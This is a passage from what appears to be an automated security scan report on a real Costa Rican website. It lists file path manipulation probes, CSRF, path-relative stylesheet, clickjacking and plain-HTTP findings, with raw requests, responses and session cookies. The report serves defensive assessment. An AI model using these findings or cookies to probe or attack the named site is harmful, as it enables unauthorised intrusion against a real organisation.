Content-Type: application/save-as

%PDF-1.4%....
1 0 obj<</Metadata 2 0 R/Pages 3 0 R/Type/Catalog>>endobj2 0 obj<</Length 65565/Subtype/XML/Type/Metadata>>stream
<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta 
...[SNIP]...
8. Unencrypted communications 
Previous  Next 
1.168 Summary
	
	Severity:  
	Low

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/


1.169 Issue description
The application allows users to connect to it over unencrypted connections. An attacker suitably positioned to view a legitimate user's network traffic could record and monitor their interactions with the application and obtain any information the user supplies. Furthermore, an attacker able to modify traffic could use the application as a platform for attacks against its users and third-party websites. Unencrypted connections have been exploited by ISPs and governments to track users, and to inject adverts and malicious JavaScript. Due to these concerns, web browser vendors are planning to visually flag unencrypted connections as hazardous.
To exploit this vulnerability, an attacker must be suitably positioned to eavesdrop on the victim's network traffic. This scenario typically occurs when a client communicates with the server over an insecure connection such as public Wi-Fi, or a corporate or home network that is shared with a compromised computer. Common defenses such as switched networks are not sufficient to prevent this. An attacker situated in the user's ISP or the application's hosting infrastructure could also perform this attack. Note that an advanced adversary could potentially target any connection made over the Internet's core infrastructure. 

Please note that using a mixture of encrypted and unencrypted communications is an ineffective defense against active attackers, because they can easily remove references to encrypted resources when these references are transmitted over an unencrypted connection.

1.170 Issue remediation
Applications should use transport-level encryption (SSL/TLS) to protect all communications passing between the client and the server. The Strict-Transport-Security HTTP header should be used to ensure that clients refuse to access the server over an insecure connection.
1.171 References
· Marking HTTP as non-secure
· Configuring Server-Side SSL/TLS
· HTTP Strict Transport Security
9. File path manipulation 
Previous  Next 

There are 4 instances of this issue: 
· /livehelp/reportes/ [action parameter]
· /livehelp/reportes/index.php [action parameter]
· /mi_cotizacion_honduras/ver_cotizacion.php [arch parameter]
· /qrm/index.php [action parameter]
1.172 Issue background
File path manipulation vulnerabilities arise when user-controllable data is placed into a file or URL path that is used on the server to access local resources, which may be within or outside the web root. If vulnerable, an attacker can modify the file path to access different resources, which may contain sensitive information. Even where an attack is constrained within the web root, it is often possible to retrieve items that are normally protected from direct access, such as application configuration files, the source code for server-executable scripts, or files with extensions that the web server is not configured to serve directly.
1.173 Issue remediation
Ideally, application functionality should be designed in such a way that user-controllable data does not need to be placed into file or URL paths in order to access local resources on the server. This can normally be achieved by referencing known files via an index number rather than their name.
If it is considered unavoidable to place user data into file or URL paths, the data should be strictly validated against a whitelist of accepted values. Note that when accessing resources within the web root, simply blocking input containing file path traversal sequences (such as dot-dot-slash) is not always sufficient to prevent retrieval of sensitive information, because some protected items may be accessible at the original path without using any traversal sequences. 

9.1. http://www.grupoq.co.cr/livehelp/reportes/ [action parameter] 
Previous  Next 

1.174 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Firm

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/


1.175 Issue detail
The action parameter appears to be vulnerable to file path manipulation attacks. 

The payload ./total_encuestas was submitted in the action parameter. This returned the same content as the base request. The payload total_encuestasX was then submitted, and this returned a different response. This indicates that the application may be vulnerable to file path manipulation. 

1.176 Request 1
POST /livehelp/reportes/?action=.%2ftotal_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=2016-12-11

1.177 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:35 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5885
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
1.178 Request 2
POST /livehelp/reportes/?action=total_encuestasX HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=2016-12-11

1.179 Response 2
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:33 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 2776
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
9.2. http://www.grupoq.co.cr/livehelp/reportes/index.php [action parameter] 
Previous  Next 
1.180 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Firm

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/index.php


1.181 Issue detail
The action parameter appears to be vulnerable to file path manipulation attacks. 

The payload ./excel_encuestas_realizadas was submitted in the action parameter. This returned the same content as the base request. The payload excel_encuestas_realizadasX was then submitted, and this returned a different response. This indicates that the application may be vulnerable to file path manipulation. 

1.182 Request 1
GET /livehelp/reportes/index.php?action=.%2fexcel_encuestas_realizadas&desde=2016-12-04&hasta=2016-12-11 HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=encuestas_realizadas
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

1.183 Response 1
HTTP/1.0 500 Internal Server Error
Date: Sun, 11 Dec 2016 10:06:36 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 0
Connection: close
Content-Type: text/html; charset=iso-8859-1

1.184 Request 2
GET /livehelp/reportes/index.php?action=excel_encuestas_realizadasX&desde=2016-12-04&hasta=2016-12-11 HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=encuestas_realizadas
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

1.185 Response 2
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:34 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 2776
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
9.3. http://www.grupoq.co.cr/mi_cotizacion_honduras/ver_cotizacion.php [arch parameter] 
Previous  Next 
1.186 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Firm

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/mi_cotizacion_honduras/ver_cotizacion.php


1.187 Issue detail
The arch parameter appears to be vulnerable to file path manipulation attacks. 

The payload ./200812112641_CMPPICKUPSTD0.8LGASTM_2012.pdf was submitted in the arch parameter. This returned the same content as the base request. The payload 200812112641_CMPPICKUPSTD0.8LGASTM_2012.pdfX was then submitted, and this returned a different response. This indicates that the application may be vulnerable to file path manipulation. 

1.188 Request 1
GET /mi_cotizacion_honduras/ver_cotizacion.php?arch=.%2f200812112641_CMPPICKUPSTD0.8LGASTM_2012.pdf HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close

1.189 Response 1
HTTP/1.1 200 OK
Date: Fri, 09 Dec 2016 08:14:17 GMT
Server: Apache
Cache-Control: must-revalidate
Content-Disposition: attachment; filename=200812112641_CMPPICKUPSTD0.8LGASTM_2012.pdf;
Content-Length: 2689481
X-Powered-By: PleskLin
Connection: close
Content-Type: application/save-as

%PDF-1.4%....
1 0 obj<</Metadata 2 0 R/Pages 3 0 R/Type/Catalog>>endobj2 0 obj<</Length 65565/Subtype/XML/Type/Metadata>>stream
<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta 
...[SNIP]...
1.190 Request 2
GET /mi_cotizacion_honduras/ver_cotizacion.php?arch=200812112641_CMPPICKUPSTD0.8LGASTM_2012.pdfX HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close

1.191 Response 2
HTTP/1.1 200 OK
Date: Fri, 09 Dec 2016 08:14:06 GMT
Server: Apache
Cache-Control: must-revalidate
Content-Disposition: attachment; filename=200812112641_CMPPICKUPSTD0.8LGASTM_2012.pdfX;
Content-Length: 0
X-Powered-By: PleskLin
Connection: close
Content-Type: application/save-as

9.4. http://www.grupoq.co.cr/qrm/index.php [action parameter] 
Previous  Next 
1.192 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Firm

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/index.php


1.193 Issue detail
The action parameter appears to be vulnerable to file path manipulation attacks. 

The payload ./cda_json_week_calendar was submitted in the action parameter. This returned the same content as the base request. The payload cda_json_week_calendarX was then submitted, and this returned a different response. This indicates that the application may be vulnerable to file path manipulation. 

1.194 Request 1
GET /qrm/index.php?action=.%2fcda_json_week_calendar&id=&c_alistamiento=undefined&flw=on&agenda=undefined&start=1481493600&end=1482098400 HTTP/1.1
Host: www.grupoq.co.cr
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.195 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:47:22 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Connection: close
Content-Type: text/html
Content-Length: 19480

[{"id":76088,"start":"2016-12-12T10:00","end":"2016-12-12T10:30:00","inventario":"0002301677","color":"#bbbbbb","procedencia":""},{"id":76101,"start":"2016-12-12T15:00","end":"2016-12-12T15:30:00","in
...[SNIP]...
1.196 Request 2
GET /qrm/index.php?action=cda_json_week_calendarX&id=&c_alistamiento=undefined&flw=on&agenda=undefined&start=1481493600&end=1482098400 HTTP/1.1
Host: www.grupoq.co.cr
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.197 Response 2
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:47:10 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 0
Connection: close
Content-Type: text/html

10. Path-relative style sheet import 
Previous  Next 
1.198 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Tentative

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/agenda.php


1.199 Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The response contains a path-relative style sheet import, and so condition 1 for an exploitable vulnerability is present (see issue background). The response can also be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.) This means that condition 3 for an exploitable vulnerability is probably present if condition 2 is present.
1.200 Issue background
Path-relative style sheet import vulnerabilities arise when the following conditions hold:
1. A response contains a style sheet import that uses a path-relative URL (for example, the page at "/original-path/file.php" might import "styles/main.css").

2. When handling requests, the application or platform tolerates superfluous path-like data following the original filename in the URL (for example, "/original-path/file.php/extra-junk/"). When superfluous data is added to the original URL, the application's response still contains a path-relative stylesheet import.

3. The response in condition 2 can be made to render in a browser's quirks mode, either because it has a missing or old doctype directive, or because it allows itself to be framed by a page under an attacker's control.

4. When a browser requests the style sheet that is imported in the response from the modified URL (using the URL "/original-path/file.php/extra-junk/styles/main.css"), the application returns something other than the CSS response that was supposed to be imported. Given the behavior described in condition 2, this will typically be the same response that was originally returned in condition 1.

5. An attacker has a means of manipulating some text within the response in condition 4, for example because the application stores and displays some past input, or echoes some text within the current URL.

Given the above conditions, an attacker can execute CSS injection within the browser of the target user. The attacker can construct a URL that causes the victim's browser to import as CSS a different URL than normal, containing text that the attacker can manipulate. Being able to inject arbitrary CSS into the victim's browser may enable various attacks, including:
· Executing arbitrary JavaScript using IE's expression() function.

· Using CSS selectors to read parts of the HTML source, which may include sensitive data such as anti-CSRF tokens.

· Capturing any sensitive data within the URL query string by making a further style sheet import to a URL on the attacker's domain, and monitoring the incoming Referer header.

1.201 Issue remediation
The root cause of the vulnerability can be resolved by not using path-relative URLs in style sheet imports. Aside from this, attacks can also be prevented by implementing all of the following defensive measures: 
· Setting the HTTP response header "X-Frame-Options: deny" in all responses. One method that an attacker can use to make a page render in quirks mode is to frame it within their own page that is rendered in quirks mode. Setting this header prevents the page from being framed.

· Setting a modern doctype (e.g. "<!doctype html>") in all HTML responses. This prevents the page from being rendered in quirks mode (unless it is being framed, as described above).

· Setting the HTTP response header "X-Content-Type-Options: no sniff" in all responses. This prevents the browser from processing a non-CSS response as CSS, even if another page loads the response via a style sheet import.

1.202 References
· Detecting and exploiting path-relative stylesheet import (PRSSI) vulnerabilities
1.203 Request 1
GET /qrm/agenda.php HTTP/1.1
Host: www.grupoq.co.cr
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.204 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 20:10:32 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Connection: close
Content-Type: text/html
Content-Length: 9862

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</title>
<link type="text/css" rel="stylesheet" media="screen, print" href="css/styles.css" />
<link rel='stylesheet' type='text/css' href='css/jquery-ui.css' />
<link type="text/css" href="jquery-ui/themes/redmond/jquery.ui.all.css" rel="stylesheet" />
<link rel='stylesheet' type='text/css' href='css/jquery.weekcalendar.css' />
<link rel='stylesheet' type='text/css' href='css/demo.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...[SNIP]...
</script>
<link type="text/css" rel="stylesheet" media="screen, print" href="css/jquery.alerts.css" />
<script type="text/javascript">
...[SNIP]...
11. Cross-site request forgery 
Previous  Next 
1.205 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Tentative

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/pos.php


1.206 Issue detail
The request appears to be vulnerable to cross-site request forgery (CSRF) attacks against unauthenticated functionality. This is unlikely to constitute a security vulnerability in its own right, however it may facilitate exploitation of other vulnerabilities affecting application users. 

1.207 Issue background
Cross-site request forgery (CSRF) vulnerabilities may arise when applications rely solely on HTTP cookies to identify the user that has issued a particular request. Because browsers automatically add cookies to requests regardless of their origin, it may be possible for an attacker to create a malicious web site that forges a cross-domain request to the vulnerable application. For a request to be vulnerable to CSRF, the following conditions must hold:
· The request can be issued cross-domain, for example using an HTML form. If the request contains non-standard headers or body content, then it may only be issuable from a page that originated on the same domain.

· The application relies solely on HTTP cookies or Basic Authentication to identify the user that issued the request. If the application places session-related tokens elsewhere within the request, then it may not be vulnerable.

· The request performs some privileged action within the application, which modifies the application's state based on the identity of the issuing user.

· The attacker can determine all the parameters required to construct a request that performs the action. If the request contains any values that the attacker cannot determine or predict, then it is not vulnerable.

1.208 Issue remediation
The most effective way to protect against CSRF vulnerabilities is to include within relevant requests an additional token that is not transmitted in a cookie: for example, a parameter in a hidden form field. This additional token should contain sufficient entropy, and be generated using a cryptographic random number generator, such that it is not feasible for an attacker to determine or predict the value of any token that was issued to another user. The token should be associated with the user's session, and the application should validate that the correct token is received before performing any action resulting from the request.
An alternative approach, which may be easier to implement, is to validate that Host and Referer headers in relevant requests are both present and contain the same domain name. However, this approach is somewhat less robust: historically, quirks in browsers and plugins have often enabled attackers to forge cross-domain requests that manipulate these headers to bypass such defenses. 

1.209 References
· Using Burp to Test for Cross-Site Request Forgery
· The Deputies Are Still Confused
1.210 Request 1
POST /qrm/pos.php HTTP/1.1
Host: www.grupoq.co.cr
Content-Length: 147
Cache-Control: max-age=0
Origin: http://www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2jUEY0VYdbv05WLt
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.grupoq.co.cr/qrm/pos.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

------WebKitFormBoundary2jUEY0VYdbv05WLt
Content-Disposition: form-data; name="numero_tarjeta"

dd
------WebKitFormBoundary2jUEY0VYdbv05WLt--

1.211 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 08:37:51 GMT
Server: Apache
X-Powered-By: PleskLin
Content-Length: 581
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.212 Request 2
POST /qrm/pos.php HTTP/1.1
Host: www.grupoq.co.cr
Content-Length: 105
Cache-Control: max-age=0
Origin: http://www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: multipart/form-data; boundary=--------533465703
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://jzsAEYGPeaMo.com/qrm/pos.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utmb=193539067.2.10.1481270457; MoodleSession=spi8gvr0op2gmubbgs71djmna6
Connection: close

----------533465703
Content-Disposition: form-data; name="numero_tarjeta"

dd
----------533465703--

1.213 Response 2
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 08:43:33 GMT
Server: Apache
X-Powered-By: PleskLin
Content-Length: 581
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
12. Frameable response (potential Clickjacking) 
Previous  Next 

There are 2 instances of this issue: 
· /livehelp/reportes/
· /qrm/agenda.php
1.214 Issue description
If a page fails to set an appropriate X-Frame-Options or Content-Security-Policy HTTP header, it might be possible for a page controlled by an attacker to load it within an iframe. This may enable a clickjacking attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.
Note that some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.

You should determine whether any functions accessible within frameable pages can be used by application users to perform any sensitive actions within the application. 

1.215 Issue remediation
To effectively prevent framing attacks, the application should return a response header with the name X-Frame-Options and the value DENY to prevent framing altogether, or the value SAMEORIGIN to allow framing only by pages on the same origin as the response itself. Note that the SAMEORIGIN header can be partially bypassed if the application itself can be made to frame untrusted websites.
1.216 References
· X-Frame-Options
12.1. http://www.grupoq.co.cr/livehelp/reportes/ 
Previous  Next 

1.217 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Firm

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/


1.218 Request 1
GET /livehelp/reportes/?action=chats_x_dia HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

1.219 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:05:58 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5801
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
12.2. http://www.grupoq.co.cr/qrm/agenda.php 
Previous  Next 
1.220 Summary
	
	Severity:  
	Information

	
	Confidence:  
	Firm

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/agenda.php


1.221 Request 1
GET /qrm/agenda.php HTTP/1.1
Host: www.grupoq.co.cr
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.222 Response 1
HTTP/1.1 200 OK
